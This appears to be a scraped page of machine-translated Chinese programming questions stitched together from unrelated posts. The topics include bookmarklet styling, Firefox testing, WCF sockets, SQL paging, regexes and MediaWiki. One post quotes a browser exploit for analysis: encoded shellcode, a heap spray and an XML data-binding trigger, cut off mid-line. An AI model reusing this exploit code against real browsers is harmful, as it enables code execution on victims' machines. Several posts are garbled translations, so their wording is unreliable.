我正在使用一个书签,将脚本标签插入当前网页.
此脚本中包含一些UI和" input type=submit...."标记.
网页A选择不input type=submit..标记" "标签,而网页B标注它们.
这导致书签基于底层页面的样式显示不同样式的提交按钮.
我希望提交按钮以默认方式在所有网页上以相同的方式设置样式.
一种解决方案是在我的脚本中为提交按钮设置CSS样式,使其在所有页面上以相同的方式显示.(这是我为所有其他标签所做的).
我的问题是:
换句话说,无论底层网页是否选择了样式,我如何才能以"默认方式"显示我的书签的UI中的提交按钮?
注意:"默认方式"是指未添加样式时显示提交按钮的方式.例如,http://www.google.com上的"Google搜索"或"我感觉很幸运"按钮.
如何在多个版本的Firefox中测试我的网站?我安装了v2.现在无论我在哪里或多少次安装FF3,它总是执行ff2 ..
我检查了互联网,似乎曾经有一个可以运行多个版本的MultiFireFox工具.这是苹果,我在窗户上.此外,它的所有链接都已死亡.
我还找到了一个可以添加到可执行文件的选项.但是因为我不能开始使用FF3,所以我认为这并不是很有意义.
像MultipleIE这样的东西会很棒.建议?
我有一个移动平台,我正在尝试编写一些通信代码.
该平台提供基于标准套接字功能的专有通信机制.基本上,平台的套接字API看起来与标准的Windows套接字API完全相同,除了每个函数都有前缀.
我想使用WCF从我的消费应用程序中抽象出Sockets API的复杂性,但是我很难找到足以描述需要编码的所有部分的资源.
任何人都可以推荐一个好的起点,或者提供一个描述为WCF编写自定义Socket传输的必要条件吗?理想情况下,我希望能够在此传输机制上使用HttpBinding.
谢谢!
我试图在具有数百万条记录的表中选择 SQL Server 中的 80,000 多条记录。问题是我有正确的索引,但返回记录集需要超过 15 分钟。
我正在使用 MS SQL Server 2000,我找到了一种使用存储过程的分页方法,但它使用了一个时态表,我必须插入整个结果集,然后选择我要在每页显示的记录数量。这个方法耗时太长。
对我可以实施的更快方法有什么帮助吗?
$rowfetch =~ s/['-]//g; #All chars inside the [ ] will be filtered out.
$rowfetch =~ m/(\w+), ?(.)/;
printf $fh lc($2.$1);
Run Code Online (Sandbox Code Playgroud)
我昨天得到了帮助建立这个正则表达式,但我不完全理解它.
它的名字像Parisi,Kenneth,并打印出kparisi
Knowns:
s/= substitute
m/= match
我试图寻找其余的但却找不到任何真正有助于解释它的东西.
我也不明白=〜应该如何评估为true还是false,但在这种情况下,它正在修改字符串.
我在标题中看到我没有写下以下内容:
class MonitorObjectString: public MonitorObject {
// some other declarations
friend inline bool operator==(MonitorObjectString& lhs, MonitorObjectString& rhs) { return(lhs.fVal==rhs.fVal); }
Run Code Online (Sandbox Code Playgroud)
我无法理解为什么这个方法被声明为朋友.我认为如果函数在另一个地方定义并且需要访问类的内部成员是有意义的,但这不是这里的情况,因为它是内联的,甚至不需要访问成员.
你怎么看?这位"朋友"没用吗?
在工作中,我们有一个部门维基(运行Mediawiki).不幸的是,有些人在没有登录的情况下编辑,这使得很难找到编辑来询问有关内容的问题.
有两种策略可以改善这一点
对于这部分,欢迎任何提示.但当然,奖励行为总是存在风险.
我知道这必须保持低水平,否则它会阻止任何编辑.但有点烦人的东西会很好.
[更新]我知道可以禁止匿名编辑,但这会给任何首次贡献带来很大障碍(特别是对于我们部门以外的人!),所以我不认为这是一个选项.[/更新]
[update2]使用LDAP或Active Directory无法解决问题,因为外部承包商也可以访问和使用wiki.[/ UPDATE2]
[update3]我不再为这家公司工作了.这并不意味着我完全对这个问题失去了兴趣,但从我目前的兴趣点来看,最有价值的部分是"你忘了登录吗?" 以下部分,我将根据问题的这一部分接受答案.[/ UPDATE3]
一个想法是为匿名用户提供额外的确认步骤 - "你真的确定要匿名提交吗?",尽管有这样一个问题,人们会有放弃或拒绝编辑的风险.但是,如果这个问题以更外交的方式重新措辞为"你忘了登录吗?" 我认为这似乎更容易接受.除此之外,还将捕获作者确实忘记登录的情况,但实际上希望将他/她的贡献归功于他/她的用户.最后一点本身就是想要它的充分理由.
这可能吗?
另一个令人讨厌的想法是在"保存页面"之后添加一个额外的强制延迟,显示类似"如果你已经登录就不必等待x秒".选择正确的x是很困难的,因为如果它很高,它将成为一个障碍,如果它太低可能没有任何区别.但后来我开始思考,从零开始然后在给定时间范围内给定IP地址的每次匿名编辑添加一秒延迟呢?这样就没有开始使用维基的障碍了,当延迟变得越来越重要时,用户已经贡献了很多,所以我认为结果更可能是编辑最终创建用户而不是放弃.这假设IP地址相当静态,
这可能吗?
我通常没有阅读JavaScript脚本的困难,但这个我无法弄清楚逻辑.该代码来自于4天前发布的漏洞利用程序.你可以在milw0rm找到它.
这是代码:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag …Run Code Online (Sandbox Code Playgroud) 使用IEnumerable<T>返回类型有问题吗?FxCop抱怨返回List<T>(它建议返回Collection<T>).
好吧,我一直受到一条规则的指导:"尽可能接受,但要回报最大值".
从这个角度来看,返回IEnumerable<T>是一件坏事,但是当我想使用"懒惰检索"时我该怎么办?此外,yield关键字是如此的好.
来自Javascript:The Definitive Guide:
regexp但是,何时是全局正则表达式,exec()行为方式稍微复杂一些.它开始搜索string由lastIndexpreperty 指定的字符位置regexp.当找到匹配项时,它会设置lastIndex为匹配后第一个字符的位置.
我认为定期使用javascript RegExps的任何人都会认出这段话.但是,我在这个方法中发现了一个奇怪的行为.
请考虑以下代码:
>> rx = /^(.*)$/mg
>> tx = 'foo\n\nbar'
>> rx.exec(tx)
[foo,foo]
>> rx.lastIndex
3
>> rx.exec(tx)
[,]
>> rx.lastIndex
4
>> rx.exec(tx)
[,]
>> rx.lastIndex
4
>> rx.exec(tx)
[,]
>> rx.lastIndex
4
Run Code Online (Sandbox Code Playgroud)
RegExp似乎卡在第二行,并没有增加lastIndex属性.这似乎与犀牛书相矛盾.如果我自己设置如下,它继续并最终返回null按预期,但似乎我不应该.
>> rx.lastIndex = 5
5
>> rx.exec(tx)
[bar,bar]
>> rx.lastIndex
8
>> rx.exec(tx)
null
Run Code Online (Sandbox Code Playgroud)
显然,只要lastIndex匹配为空字符串,我就可以增加属性.然而,作为好奇的类型,我想知道为什么它不会被该exec方法增加.为什么不呢? …
javascript ×2
regex ×2
assembly ×1
bookmarklet ×1
c# ×1
c++ ×1
collections ×1
css ×1
enumeration ×1
exploit ×1
firefox ×1
friend ×1
ienumerable ×1
inline ×1
mediawiki ×1
methods ×1
perl ×1
records ×1
sockets ×1
sql-server ×1
string ×1
wcf ×1
wiki ×1
x86 ×1